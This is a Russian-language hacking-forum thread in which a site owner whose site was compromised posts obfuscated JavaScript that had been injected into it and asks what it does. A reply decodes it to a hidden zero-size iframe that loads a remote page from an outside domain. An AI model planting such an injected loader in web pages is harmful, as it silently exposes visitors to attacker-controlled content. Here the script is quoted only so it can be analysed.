Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Кто может расшифровать код? (https://forum.antichat.xyz/showthread.php?t=207767)

kickboxer 30.05.2010 05:07

Кто может расшифровать код?
 
собственно сабж.

Цитата:

function decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34 !104!116!116!112!58!47!47!122!101!100!103!100!102! 103!46!105!110!47!105!110!46!99!103!105!63!51!51!3 4!32!119!105!100!116!104!61!34!48!34!32!104!101!10 5!103!104!116!61!34!48!34!32!102!114!97!109!101!98 !111!114!100!101!114!61!34!48!34!62!60!47!105!102! 114!97!109!101!62!";l=str.length;while(c<=str.leng th-1){while(str.charat(c)!='!')temp=temp+str.charat(c ++);c++;out=out+string.fromcharcode(temp);temp=""; }document.write(out);}
decode();

slesh 30.05.2010 09:55

document.write(out);
замени на Alert(out);

С учетом исправления допущенных ошибок то выходит там
<iframe src="http://zedgdfg.in/in.cgi?33" width="0" height="0" frameborder="0"></iframe>

M_script_ 30.05.2010 11:20

ТС, на будущее - https://forum.antichat.net/thread144505.html

kickboxer 30.05.2010 16:21

Всем спасибо, теперь остаётся узнать чьё это:)
т.к. взломали сайт и вставили этот код.


Время: 02:34